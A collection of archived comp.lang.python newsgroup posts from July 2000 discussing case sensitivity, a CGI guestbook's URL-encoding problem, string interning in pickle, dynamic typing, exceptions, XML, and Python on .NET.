STICHTING MATHEMATISCH CENTRUM AND CNRI DISCLAIM ALL WARRANTIES WITH
REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL STICHTING MATHEMATISCH
CENTRUM OR CNRI BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL
DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR
PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER
TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
PERFORMANCE OF THIS SOFTWARE.
----------------------------------------------------------------------

-- 

Paul Magwene
paul.magwene at yale.edu


From aek at aek.dk.bbs  Sun Jul 16 12:50:02 2000
From: aek at aek.dk.bbs (aek at aek.dk.bbs)
Date: 16 Jul 2000 16:50:02 GMT
Subject: Why make a language case sensitive?
Message-ID: <3bQTEP$mfg@openbazaar.net>

> VB's IDE is more than just a text editor.  Every line is checked for =
syntax
> errors and I think compiled in the background.  Of course no other =
editor
> could be as good, unless they also had access to the VB =
compiler/debugger.
It is a typical god side of an MS product, total integration with total =
benfit, a pitty
thought that the interface is less good than Borland's...


> Using VC's autocompletion/intellisense, you can get similar results to =
VB,
> so something like this can be done for any language, that is correct, =
but
> not to the extent where the editor is also a compiler.  It may not be =
all
> that hard to implement self-correction and syntax checking in Python, =
since
> we have "exec", but you are right:  without variable declarations this =
can
> prove to be difficult.  Maybe whoever implements a =
self-correcting/syntax
> checking IDE for Python should enfore a convention for "declaring" the
> variables, without affecting the language itself.  Something like =
this, for
> example:  (I'm new to Python, so please excuse the big fat mistakes I =
might
> have made)
Another solution is to be really smart and figure the flow of the =
program and
determine when a variable is first used and color that color1 and the =
next time
it is used it is colored color2...


> Where the variables are declared in the form of a comment that starts =
with
> the letters "var" which, I think, is how JavaScript declares =
variables,
> isn't it?
it is said the man who knew the language inside out :-)

> So, by having a line at the beginning of a function (right after
> the description line, which I hope I didn't screw up) indicating the =
names
> of the variables we intend to use, any name that isn't in that list =
and
> isn't in anything we imported would be highlighted as a mistake, and =
if only
> the case differs, the editor would make the case match the =
declaration...
The only problem is that it turns Python ugly...


> Naming conventions are great, but also impossible to get everybody on =
earth
> to accept (and use) them, unless your language enforces it, primarily
> because we tend to think different, the latter being a wonderful =
thing!  So
> your naming convention is probably wonderful, but maybe also different =
than
> that of a third party, whose module you want to use....
I know it is a problem, I will however try to enforce it in our concern, =
and one
might design a devoloping tool that enforced a naming convention, that =
could be
dfined by the user.


> Come to think of it, I don't think I have a problem with the language =
being
> case-sensitive.  I have a problem with the editor making me think =
about a
> detail that I have come to not have to worry about by using VB.  VB =
may or
> may not be case sensitive, I wouldn't really know, but what's great is =
that
> I don't have to worry about it.
Once you get used to it it really isn't much of a worry

there is only one thing in this world that makes me wonder: why are all =
the beautiful languages
run time parsed? (i here think primarily on Python and Java)


--=20
Anders Eggers - Krag


From andre at UltraShell.Net  Mon Jul 31 19:46:38 2000
From: andre at UltraShell.Net (Andre van Straaten)
Date: Mon, 31 Jul 2000 23:46:38 GMT
Subject: Retrieving a query string from a <FORM ACTION> command
References: <_Ghh5.853$7F2.53864@news3.cableinet.net>
Message-ID: <ydoh5.1387$a61.133129@news-east.usenetserver.com>

What I don't understand is how the Web form (or the browser) did send spaces to the server.
URI encoding translates spaces into +'s, I think, because an RFC determines that.
This applies to both methods.
I'm pretty sure that some C/C++ functions would stop reading from stdin, using the POST method, if
spaces were in the datastream sent to the server.
Did you (or others) change the browser or its configuration?
If yes, it would be interesting to know what it was because this is something that shouldn't
happen.

-- avs
 
Paul Goodyear <paul at gudge.demon.co.uk> wrote:
> Yep i'm a newbie here.

> Been doing this stuff for about a month and it rocks. The thing is I wrote a
> guestbook and for the last weeks it's been working fine. But all of a sudden
> the text that is sent to my server from the web page in the comments text
> input or textarea boxes are sent with +'s instead of spaces.

> I have tried both action="get" and action="post" in the HTML code.

> I have put the code below that does the grabbing:

> HTML CODE:
> ---------------

> <form method="get" action="/cgi-bin/guestbook.py">


> PYTHON CODE:
> -------------------

>     import time, string, os

>     print "Content-type: text/html\n\n"

>     qs = os.environ['QUERY_STRING']
>     t = string.split(qs, "?")
>     tt = string.split(t[0], '&')
>     NameString = string.split(tt[0], '=')
>     EmailString = string.split(tt[1], '=')
>     CommentString = string.split(tt[2], '=');

>     TimeString = time.ctime(time.time())

>     GuestList = open('cgi-bin/guestbook.txt')
>     CurrentGuest = GuestList.readlines()
>     GuestList.close()


>     GuestList = open('cgi-bin/guestbook.txt', 'w')
>     line = NameString[1] + ',' + EmailString[1] + ',' + CommentString[1] +
> ',' + TimeString + '\n'
>     GuestList.write(line)
>     GuestList.writelines(CurrentGuest)
>     GuestList.close()

> I'm taking the query string and placing all the fields into variables,
> reading in the current entries and then writing them all out again.

> But as I said and why I need help is that all the spaces are now been
> replaced with + sysbols, which can I stress didn't do at first. I have
> changed the code and put it back and it did just the same.

> Please help.

> email or post.



-- 

Andre van Straaten
http://www.vanstraatensoft.com
______________________________________________
flames please to /dev/null at vanstraatensoft.com



From paul at prescod.net  Wed Jul 19 13:23:20 2000
From: paul at prescod.net (Paul Prescod)
Date: Wed, 19 Jul 2000 12:23:20 -0500
Subject: Discussion: Introducing new operators for matrix computation
References: <3bRSXS$je4@openbazaar.net> <slrn8n9e2s.1pcu.gjm11@g.local>
Message-ID: <3975E408.987EF970@prescod.net>

Gareth McCaughan wrote:
> 
> ...
> 
> Well, I was making a broken assumption about the meaning of
> multiple comprehension indices: namely, that
>   [(i,j) for i in [1,2], j in [1,2]]
> would evaluate to [(1,1), (2,2)] rather than [(1,1), (1,2), (2,1), (2,2)].
> If it's supposed to go the other way, then some of my other
> assumptions stop working. :-)

For exactly this reason I have proposed the following syntax:

[for i in [1,2]: for j in [1,2]: i, j ]

Which I think is more clear that it is not parallel.

> So [f(x) for x in collection] would turn into something like
> 
>     indices = collection.valid_indices()
>     result  = collection.clone()
>     for index in indices:
>       result[index] = f(collection[index])

...easier to just require the "collection" type to have an append
operator...

> ...
> With more than one collection being iterated over, as in
> [blah blah blah for x in xs, y in ys], the simplest thing
> would be to use the first collection mentioned as template
> and source of valid indices. 

It's somewhat arbitrary but maybe it would work.

-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist



From gee308 at mediaone.net  Mon Jul 24 02:08:13 2000
From: gee308 at mediaone.net (Toy)
Date: Mon, 24 Jul 2000 06:08:13 GMT
Subject: Open letter to Guido van Rossum
References: <200007240401.AAA07578@mail3.mia.bellsouth.net>
Message-ID: <397BE26A.4093A037@mediaone.net>

I've got an idea,

    Why don't you try doing some of the improvements yourself.  If you write
code in Python, I'm sure you could help write a few modules.  Python is
"Open sourced"  and while I'm not in the developing community, I am sure
many people have contributed with modules, code, etc.  One "problem" that
frequently happens from being open source is that people want to improve the
code, so they(with a group of others) start developing their own
enhancements.  The groups eventually split and you end up with stuff like
different versions of Apache Python modules, MySQL modules, etc.  Just look
at Linux, the mess is a thousand times larger.  You have packages coming in
RPMs, ELF, tar.gz, Hell, I can't even name half of them.  There are even
RPMs that don't work on RPM machines.(A lot of the new RPMs from Redhat
don't work on the new Mandrake distributions).
BTW, I hope that Python becomes more mainstream too.
Jason Toy
toyboy at toy.eyep.net
http://toy.eyep.net



Dan Grassi wrote:

> Hi Guido,
>
> Well, I am rather ambivalent about 1.6.  See, I really like python and
> want to use it at work, a dot-com --- in fact I would like it to be the
> standard.  But I doubt that it will come to pass, there are to many
> stumbling blocks.
>
> First and foremost is database support as a part of the languare
> _package_!  In particulay I need Oracle on ix86, a not uncommon database.
>  But that is no trivial task.  Thus python fails because it can not be
> used in a production environment that involves Oracle.
>
> Then there is the mod-python/mod_pyapache mess, two competing versions
> both with major problems ranging from re not working in the module
> version of mod_python to memory leaks in both versions.  Memory leaks are
> a major problem in a shop that is serving over 1 million pages a day.
>
> Also in the area of divergence is the MySQL database interface modules,
> there are at least two and I believe four current versions.
>
> OK, but this is not python!  Well, technically that is true but these are
> problems when one tries to use python in production!
>
> I suggest that you, Guido van Rossum, father and inventor of Python,
> "bless" some versions and thus get development behind single versions
> instead of diverging from each other.  Thjis in much the same manner that
> Linus blesses a release of Linux.
>
> Oh well, this is just wishing upon a star. :-)  At least I do get to use
> python on occasion, thanks.
>
> Dan Grassi



From gmcm at hypernet.com  Sat Jul 22 12:22:19 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: Sat, 22 Jul 2000 12:22:19 -0400
Subject: New PEP: Attribute Access Handlers
In-Reply-To: <3979C616.CA01C09C@roguewave.com>
Message-ID: <1247839555-20324326@hypernet.com>

Bjorn Pettersen wrote:
> Gordon McMillan wrote:

> > Of course you don't! Because Paul forgot to tell you that the
> > first proposal said that defining one or more of
> > __set/get/del_XXX__ automatically defines all 3, with default
> > behavior of "you can't do that". So a base class defining
> > __get_X__ and a derived class defining __set_X__ will have the
> > wrong semantics 50% of the time whichever way you choose to
> > handle it.
> 
> Hey, I think I understand it now <wink>!  So the reason you need
> to install _one_ attribute handler with either scheme is that XXX
> has no relation to an actual attribute ("it is disallowed to have
> an attribute named XXX in the same instance dictionary as a
> method named __attr_XXX__.") It's therefore impossible to have a
> default set/get/del handler with the common semantics of
> setting/getting/deleting the attribute. Solving that problem by
> associating XXX with a 'real' attribute can't be done since it
> would probably require new syntax, and wouldn't always be
> desired... Am I close?

Hmmm. Well, the implementation actually puts the access 
handler into class.__dict__ as 'XXX'. So the statement that "it 
is disallowed to have an attribute named XXX in the same 
instance dictionary as a method named __attr_XXX__" is a bit 
disingeneous (I mean besides the fact that methods only get 
into an instance dict when indulging in memory-leaking 
hackery). There *is* an attribute named XXX, and this is the 
basis for "get" access being sped up (getattr sees that the 
thing is an access handler, and reacts accordingly).

However, the statement self.__dict__['XXX'] = 3 will work (there 
actually nothing there to "disallow" it), and further, it will undo 
the hack (it will never get called - for set or del either).

So, if you understood the "semantics" section, you probably 
didn't understand the "proposed implementation" and vice 
versa.  Therefor I can unequivocally answer both "Yes" and 
"No" to your final query <wink>.

- Gordon



From alex at magenta.com  Thu Jul 27 03:46:56 2000
From: alex at magenta.com (Alex Martelli)
Date: Thu, 27 Jul 2000 09:46:56 +0200
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <Pine.GSO.4.10.10007270810400.2823-100000@sundial> <SWPf5.13166$4p3.102561@news-server.bigpond.net.au>
Message-ID: <8lopjh03s4@news1.newsguy.com>

"Mark Hammond" <MarkH at ActiveState.com> wrote in message
news:SWPf5.13166$4p3.102561 at news-server.bigpond.net.au...
> "Moshe Zadka" <moshez at math.huji.ac.il> wrote in message
> news:Pine.GSO.4.10.10007270810400.2823-100000 at sundial...
> > On Thu, 27 Jul 2000, Mark Hammond wrote:
> >
> > Hmmm...this sounds positively interesting. Do you know if there is
> similar
> > support for continuations? IOW, can Scheme be supported on IL?
>
> AFAIK, continuations are currently being fudged, but MS have promised to
> add more stuff like this after release.  Unfortunately, "after release" is
> still some time off.  For all of my MS praise in the last mail, it should
> be obvious thay are still a commercial company with a tight deadline.

I suspect their numerous stockholders would be pretty unhappy if either
of these attributes were lacking:-).


> They have said a number of times "if you can work around it, do" -

Commendably pragmatic, or blamefully unprincipled, depending on
how one chooses to look at it (I'll admit to a pragmatism bias, only
moderated by a realization of how often such workarounds end up as
short-sighted kludges leading to worse problems in the future...).


> tail-recursion turned out to be an issue that was extremely difficult to
> fudge, so support was added pre-beta.  Continuations are simpler to fudge,
> so explicit support was pushed back.

Interesting!  If I had to guess, I'd have guessed the other way 'round,
which, I suppose, just shows you how much I know about IL and code
generation for advanced/dynamic language features (==not much).

Doesn't tail-recursion just basically map down to 'rebind args&locals
suitably, then jump to the entry point', rather independent of the cross
module communication issues that IL addresses?  Or are we talking
about mutual-tail-recursion or something even more refined?  Just
for my own edification and curiosity-sating (if the Scheme compiler
you mention later is open-source, I guess I should get down to studying
how it does things, but I don't yet know of any open-source IL generating
compiler -- nor of publically available detailed preliminary specs for
NWGS/IL/whatever runtimes, etc, etc [hint, hint:-)]).


> I know of at least one (fairly) complete and fast scheme implementation.
>
> > That's sad -- JPython, CPython and Python .NET should feel the *same*.
> > That's why we have a standard (the Python Language Reference Manual).
> > I truly hope JPython and Python .NET (is that the official name)
>
> No idea what the official name is!  Python .NET seems to make sense at
> this stage.

On the ActiveState site, Python .NET _is_ used as just such an official
name (in fact, it sort of seems to be just about the only well-established
aspect of the project, judging from the dearth of info at the site:-).


> > will be similar enough to CPython that Python code will work across them
> > seamlessly.
>
> I agree.  Although there is a dilemma here - sometime you _must_ make a
> choice between the language semantics versus the platform semantics.  ie,
> it would be just as much of a shame if JPython and/or Python .NET didnt
> support enough platform semantics to make it a viable language on that
> platform, thereby keeping it stuck in an "interesting, but not useful"
flux.

A dilemma I don't envy you.  Striking a balance between "faithful
compatibility
with the old" and "exploiting new platform possibilities" is, of all
excruciating
design decisions, the least enjoyable kind, in my experience:-(.


> I dont believe this needs to be a real problem.  When implementing a new
> version of Python, you will be amazed at how much _isnt_ spelt out.
> Fortunately, the implementation is clean and available, meaning the
> existing C code is usually a better reference than the docs!  Im fairly

No Extreme Programmer will be surprised in the least at this state
of things:-).  "The code IS the docs", etc.  Actually, Brooks' observations
about architectural documents in "The Mythical Man-Month" are worth
periodically re-reading (as is the rest of the book:-).  Maybe a huge test
suite proclaiming 'you're Python iff you pass this test suite' would be the
only way to keep consistence now that we're heading towards _many_
implementations in widespread use (CPython, JPython, Python .NET --
dunno what happened to Skaller's project [Viper, was it called?] -- and
no doubt other hopefuls in the wings...).

> confident I can support all documented semantics, and plenty of
> undocumented ones.

We're all here, with fingers crossed, rooting for you on this...!!!


Alex





From shouldbe at message.com  Fri Jul 28 10:19:16 2000
From: shouldbe at message.com (Arinté)
Date: Fri, 28 Jul 2000 14:19:16 GMT
Subject: Is this the efficent way?
Message-ID: <EDgg5.19705$ga2.540769@newsread2.prod.itd.earthlink.net>

I need to split a double (8) byte character into two bytes to send as a
string so I have this code
def hexSplit(arg):
 ans = 0
 lobyte =arg-256
 if arg<=255:
  ans = "\x00" + chr(arg)
 else:
  hibyte = lobyte/256
  if (lobyte%256)>0:
   hibyte = hibyte+1
  ans = chr(hibyte)+chr(lobyte)
 return ans


Is this good enough?

thanx




From jepler.lnk at lnk.ispi.net.bbs  Sun Jul 16 22:00:01 2000
From: jepler.lnk at lnk.ispi.net.bbs (jepler.lnk at lnk.ispi.net.bbs)
Date: 17 Jul 2000 02:00:01 GMT
Subject: string issue or questions about intern
Message-ID: <3bQhU1$ivi@openbazaar.net>

On 14 Jul 2000 16:56:47 -0400, Andrew Kuchling
 <akuchlin at mems-exchange.org> wrote:
>Brian Kelley <kelley at bioreason.com> writes:
>> eval('"AAAAA"')
>> eval('"AAAAB"')
>> eval ('"AAAAC"')
>
>This seems a reasonable outcome of the rule that Python always interns
>string constants.  Every string gets interned, and interned strings
>are never freed, so memory is constantly being consumed.
>
>If you need full Python expressions, there seems no way around using
>eval().  But if you simply need string escapes, it's probably worth
>writing a parser.  (Does such a parser already exist somewhere in the
>standard library?  Anyone know?)

Well, the problem is pickle.Unpickler.load_string():
    def load_string(self):
        self.append(eval(self.readline()[:-1],
                         {'__builtins__': {}})) # Let's be careful
    dispatch[STRING] = load_string

You can see that unpickling lots of unique strings causes Python to use
progressively more memory.

Jeff


From ssthapa at midway.uchicago.edu  Sat Jul 29 15:52:56 2000
From: ssthapa at midway.uchicago.edu (Suchandra Thapa)
Date: Sat, 29 Jul 2000 19:52:56 GMT
Subject: Perl is worse!
References: <Pine.GSO.4.10.10007281426320.7506-100000@sundial> <398178EA.7576E13A@hursley.ibm.com> <yTgg5.2647$6E.682215@ptah.visi.com> <8ls9oe01f82@news2.newsguy.com> <slrn8o4b97.abr.nobody@isis.visi.com>
Message-ID: <slrn8o4j5o.19t.ssthapa@ntcs-ip48.uchicago.edu>

Grant Edwards <nobody at nowhere.nohow> wrote:
>As long as the conversion can guarantee no information loss, I wouldn't have
>a problem with it.  I've yet to use a language that can make that guarantee.
>I guess I never looked into the details in Python (haven't done much
>numerical stuff yet).  I had sort of assumed that floating point values were
>32 bit, but if they're 64, then as you say, the problem is postponed until
>long ints are involved.

    I believe scheme can guarantee no information loss for the conversion
listed above since it has an explicit rational type.  I suspect lisp
may have similar features. Some of the functional languages like haskell
and ML may do the same.  If not, it should be relatively easy to add such
a by introducing a rational type and coercion routines for ints to rationals.
Incidently, ML is a completely type safe language and people who use it 
like the fact that if your program compiles then there are guaranteed to
be no type errors in it at all. 

-- 
------------------------------------------------------------------

Suchandra S. Thapa 
s-thapa at uchicago.edu

------------------------------------------------------------------


From db3l at fitlinxx.com  Mon Jul 24 23:55:36 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 24 Jul 2000 23:55:36 -0400
Subject: Python questions from C/Perl/Java programmer
References: <397C6F49.7BEBB207@alabanza.net> <slrn8np8pr.tc.scarblac-spamtrap@flits104-37.flits.rug.nl> <397CC80C.43F5D8@alabanza.net>
Message-ID: <uya2q279j.fsf@ctwd0143.fitlinxx.com>

"ye, wei" <yw at alabanza.net> writes:

> I have been using 'emacs',  it's a nice editor, however I still concern if
> add or remove a new block within a complex logic it may mess up
> the old application. However if {} is applied, I'm pretty sure it doesn't
> happen.

There isn't really that much difference with Python code (and Emacs
has a nice Python mode).

Typically, if you're inserting a new block, it's going to be scoped
beneath some existing block, and indentation is still easy to handle
(just as you'd likely indent your braced block anyway).

If you need to reallocate a block, certainly within Emacs it is easy
to shift any portion of your current block in or out a level as
necessary.

I'm sure like many people here I felt sort of "naked" without my
braces when I first started with Python - but when it comes down to
it, I was already indenting my code logically (or letting Emacs do it
for me) within the braced blocks, so as it turns out, removing the
braces didn't really change the way I wrote or indented code and it's
just as readable and easy to work with.

I still occasionally miss the trailing braces at the bottom of heavily
indented blocks, if only as a place to "hang" my comments about what
block they are closing - of course that very construct was because
even in C/C++ it was far from clear in some cases from just looking at the
brace :-)

> I can bear the {} issue, however I couldn't bear with variable
> without declaration.  I wrote many applications, I couldn't live
> without declaration. For big project, there are so many scripts,
> everyone may be misspell variable name.  It's very timeconsume and
> hard to find out such problem, which should be easy checked out by
> compiler.

Ah, but it's not at all easy to check in a fixed way with a dynamic
language like Python, as I think you'll see as you work with it a
little more, and run into items like __getattr__ or exec().  And if
you do get it wrong, an exception is thrown for you and the traceback
makes it easy to find.

I think this is sort of one of these "Trust the Force, Luke" things.
One of the very first things I worried about and tried to find a
resolution to with Python was the issue of typos leading to NameErrors
that I couldn't find because I didn't have compile time checking.  I
was surprised that there weren't a ton of syntax checkers out there
(but there are definitely a few).  I religiously tracked them down and
downloaded them.

You know what - I still haven't used them to any large extent, because
surprisingly (to me at least) it hasn't been a big problem of mine at
all in the code I'm working on.  I think it's a mixture of a number of
things.  For example, Python's module system is terrific and really
encourages small modular design with individual namespaces.  The
standard idiom of embedding tests into scripts themselves when run
standalone means you think more about matching tests with your work as
you go.  And the exception handling is clean, ubiquitous and
consistent.  Heck, wrap your entire application in a top level
try/except worst case if you want as a master safety net - you just
re-initialize and keep running :-)

So if this is the only thing really causing you heartache, the best I
can suggest is to just get in there and try.  You may surprise
yourself in the same way as I have.

> Yes, it is if you define a function expect a base class, its derived
> class object should have no problem to be passed in. Both Java/C++
> have this feature.

And if you give Python a chance I think you'll start to wonder why
Java/C++ is so limited :-)  How many times has a well designed class
system gotten "re-designed" or just crufty because of molding things
into the hierarchy to fit the requirements of libraries or other
routines expecting a particular type of class.  I've had enough
experience with growing poorly designed class systems to think that
there just has to be a better way.  I felt that Java's interface
approach felt more natural but its still quite strongly typed.

The whole notion that you must have a formal class inheritance
hierarchy in order to be able to use one object in place of another
(e.g., a derived class), while valid, is hardly the only way to go.

In Python, what matters is not the formal class hierarchy - in Python
it's more common to inherit to obtain functionality than to impose an
"is one of" classification.  For Python, it's the actual dynamic
run-time interface provided by an object that is of utmost importance.
This is more similar to 'interfaces' in Java, but even there Java is
more strict than Python.

If a function requires that the supplied object support a "write"
method, then all Python requires is that be the case.  And it only
cares when the function actually tries to make the call, not at
compile time or function declaration.  It doesn't where the object
fits in a class hierarchy, nor if the object provides all sorts of
unrelated methods.  It only wants that "write" method to be present.

Until you've worked this way you can't imagine how clean, natural and
"fun" this is - at least IMO.  It makes design much cleaner and
simpler, and means that you can evolve things more simply.  No, it's
not perfect and has its own warts, but I'm sold on it.

> If don't specify the variable type:
> 1. When you read code, it's not easy for you to understand how to invoke that
> function.
>    For example, compare
> def f(x, y, z): ...  with def f(int x, complex b, Employ c): ...
> which declaration give you more information without read further code?
> You know how to invoke the latter one without read its code and comments in
> most cases.

Why is reading the declaration for a function (which Python supports
via docstrings) to understand that any better or worse than reading
documentation?  Or to phrase it another way, why bother with the
syntactic sugar (and limitations) of the static typing when you can
just as easily place the interface requirements in the developer
documentation and have a function that can literally work on any
object without ever needing changing or massaging of the class
hierarchy, as long as it conforms to the interface?

> 2.  it leads the function is mis-called by passing not correct type.

Ah, but now we get to the rub of what makes a type "not correct" - in
Python, that would mean that it's got the wrong interface, and if
that's the case it's easy for the function in question to just raise
an exception, either by explicitly checking for the interface, or just
attempting to use it and letting Python itself raise the proper
exception when it isn't present.  The amount of control over the
process and its error recovery is completely in the application's
control.

But if the object in question does have the right interface, Python
doesn't care what class it is part of or really anything about the
class hierarchy - it just cares that it conforms to the required
interface that the function desires for its argument.


Don't get me wrong - if your background is more biased towards heavily
typed languages (mine was, although I did have some decent experience
in others) it's sort of a paradigm shift and takes some thinking to
get over.  The best I can suggest is to jump in there and write some
code.  You may be pleasantly surprised and start reconsidering some of
these points - not so much their usefuless as points - but more how
important they really are (or aren't) in the Python world.

Then again, maybe not, in which case there are lots of other languages
out there - and as another poster said, some improvements in these
areas (but not, I expect, quite as far as you're advocating here) are
likely to show up in future Python releases as well.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From m.faassen at vet.uu.nl  Mon Jul 31 04:27:21 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 31 Jul 2000 08:27:21 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com>   <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8luhsi01ce8@news2.newsguy.com> <slrn8o6nub.f91.grey@teleute.rpglink.com> <8lvr4n0iue@news2.newsguy.com> <slrn8o75ep.fjt.grey@teleute.rpglink.com> <8m26up$ila$5@newshost.accu.uu.nl> <slrn8o9j78.i9b.grey@teleute.rpglink.com>
Message-ID: <8m3d99$hn2$4@newshost.accu.uu.nl>

Steve Lamb <grey at despair.rpglink.com> wrote:
> On 30 Jul 2000 21:33:13 GMT, Martijn Faassen <m.faassen at vet.uu.nl> wrote:
>>condition. It cannot magically repair bugs. So what is you want?

>     A little tolerance to those bugs, not a panic to break out of a 12 deep
> nested loop to a point of no recovery while in the /customers/ hands.  

Then catch exceptions. Or make your code more tolerant of the data in the
first place; let it skip the records that are corrupt. What is the problem?

Really, your advocacy for more tolerance of bugs so that:

  * the program keeps running (even though it may be doing all the wrong
    things)

  * there is a possible (but impossible to predict!) chance of recovery of
    some data in interactive software.

is really bizarre to me. What kind of software engineering attitude is that?
If you want such tolerance, put it in your code. That's fine if it is
in your requirements. But often it is *not* in requirements, in which case
you seem to say it should be anyway. That is bizarre in the face of the
examples you've been given.

>>And what is your experience regarding databases and exceptions in Python?

>     As Alex pointed out there are more databases than just that.  

Yes, sure, but you were claiming exceptions and Python somehow made
the picture worse. I just gave you examples where in the case of
relational databases, it didn't, and in the case of the object database,
it made it *better*.

In the case of fragile databases, your bug-tolerant software has a higher
chance to corrupt things and/or create data-loss than software that craps out
on the first sign of something amiss, I'd say (especially since the crap-out
handler can be made to do something sane with the data).

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From spam at spam.com  Thu Jul 27 03:28:06 2000
From: spam at spam.com (Penfold)
Date: Thu, 27 Jul 2000 08:28:06 +0100
Subject: How to create COM Servers with IID_IDTExtensibility2 interface 
References: <jwLf5.312$671.55181@nnrp4.clara.net> <lWLf5.13002$4p3.101011@news-server.bigpond.net.au>
Message-ID: <ZuRf5.504$_8.65728@nnrp3.clara.net>

Mark Hammond <MarkH at ActiveState.com> wrote in message
news:lWLf5.13002$4p3.101011 at news-server.bigpond.net.au...
> > According to a very small demo I have downloaded from Microsofts
> website,
> > for a COM object to be used by excel as a COM Addin
> > it must implement the interface IID_IDTExtensibility2.  I know the GUID
> for
> > this interface and its "defined methods".
>
> Sorry - you are SOL.
>
> To support arbitary interfaces, you need C++ support, in the form of an
> extension module.  There is a new "Univgw" that may help you out, but I
> dont know much about this (Bill Tutt has been working on that, but not
> much has been done recently - I dont even know its completeness.)
>
> Mark.

Aaargh!! :-)  Thanks Mark,

Des.




From plusk at radford.edu  Sat Jul  1 10:19:27 2000
From: plusk at radford.edu (Paul D. Lusk)
Date: 1 Jul 2000 14:19:27 GMT
Subject: ? WinNT sys.stdout and re-direction
Message-ID: <8F6466ABEpluskrunetedu@137.45.128.146>

I'm new to Python and I'm trying to run some scripts.
System is WinNT, output via sys.stdout.write(). Redirecting output to
file results in any empty file, for example:

At the NT command prompt:

script.py in.txt 

writes output to the screen,

but

script.py in.txt>out.txt

gives me a empty out.txt

Could somebody point me in the right direction to fix this?



From alex at magenta.com  Sat Jul 29 20:35:27 2000
From: alex at magenta.com (Alex Martelli)
Date: Sun, 30 Jul 2000 02:35:27 +0200
Subject: XML: good, but no magic bullet (was Re: Perl is worse!)
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <8lrt2h013fp@news2.newsguy.com> <3981BE50.23DB16C5@infercor.no> <8lsu2a02ho4@news2.newsguy.com> <slrn8o4clt.abr.nobody@isis.visi.com> <8luhsl21ce8@news2.newsguy.com> <slrn8o6m3f.f91.grey@teleute.rpglink.com>
Message-ID: <8lvth00ntg@news2.newsguy.com>

"Steve Lamb" <grey at despair.rpglink.com> wrote in message
news:slrn8o6m3f.f91.grey at teleute.rpglink.com...
> On Sat, 29 Jul 2000 12:13:16 +0200, Alex Martelli <alex at magenta.com>
wrote:
> >(XML helps.  But don't anybody think it's anywhere close to
> >the panacea it's apparently considered to be in some circles;
> >that is just Yet Another recurrence of the never-ending dream
> >for the Magic Bullet:-).
>
>     Someone tell that to the people who wrote O'Reilly's Java & XML and,
hmm,
> there was another one out there.  If you want a good chuckle pick it up
and
> read the first two paragraphs of the preface and introduction.  In a
nutshell

Yeah, there's lot of hype about it, as is typically the case with so
many new technologies in our field.  In this case, it's a good and
very useful technology, and I, for one, find the hype particularly
irritating in cases like this -- because it raises expectations to
unreasonable levels, thus ensuring eventual backlash.

The point is: just as exceptions help you handle errors well, just
as locales (and facets) help you do internationalization right, so
does XML help you achieve interoperability (particularly exchange
of data) between heterogeneous programs.  But HELP is all each of
these good technologies can do: you must still understand what it
is you're doing, you must still do it properly.  It IS no doubt
easier to kill a bear with a gun than with a pocket knife, but if
your aim is totally off then even the gun can't help you enough...


>     Me, I filed the book away until I actually have a need for it in spite
of
> the author's view of its use in the world.  So far I have seen two
/examples/
> of its use at one conference and to me it looks like a markup language
with
> definable tags.

Yes, and a rather well-designed standard, with useful standardized
API's (DOM, SAX) and lots of promising extensions and applications
(although some of them bid fair to become too complicated for really
practical use, sigh -- and also, there's so MANY of them one risks
losing track:-).  The point is, it will not *by itself* solve your
interoperability problems, not even, by itself, all of your data
interchange problems; you must still apply it correctly, and with
clear understanding of its strengths, weaknesses, uses, limits.
Basically, like any other technology -- some more, others less.

Getting acquainted with the XML scene is not a bad idea, but IMHO
the best way to do that right now would be to study the annotated
standard (VERY good annotations!) then start playing around a bit
with Python's XML support (due to grow a lot in the near future).
I've got a dozen books on it, but none has given me much added
value wrt the annotated standard plus some practical experiments!-)


Alex





From hzhu at localhost.localdomain  Thu Jul 20 20:19:49 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Fri, 21 Jul 2000 00:19:49 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <39777941.1A85F3CA@STScI.Edu> <Pine.LNX.4.10.10007201812060.18122-100000@us2.mayo.edu>
Message-ID: <slrn8nf605.rb.hzhu@localhost.localdomain>

On Thu, 20 Jul 2000 18:18:10 -0500, Travis Oliphant <olipt at mayo.edu> wrote:
>
>These are my sentiments too.  Huaiyu, it's obvious you've spent a lot of
>time in Matlab but not so obvious that you've considered the design of
>NumPy very much.  There was A LOT of discussion that wen't in to NumPy to
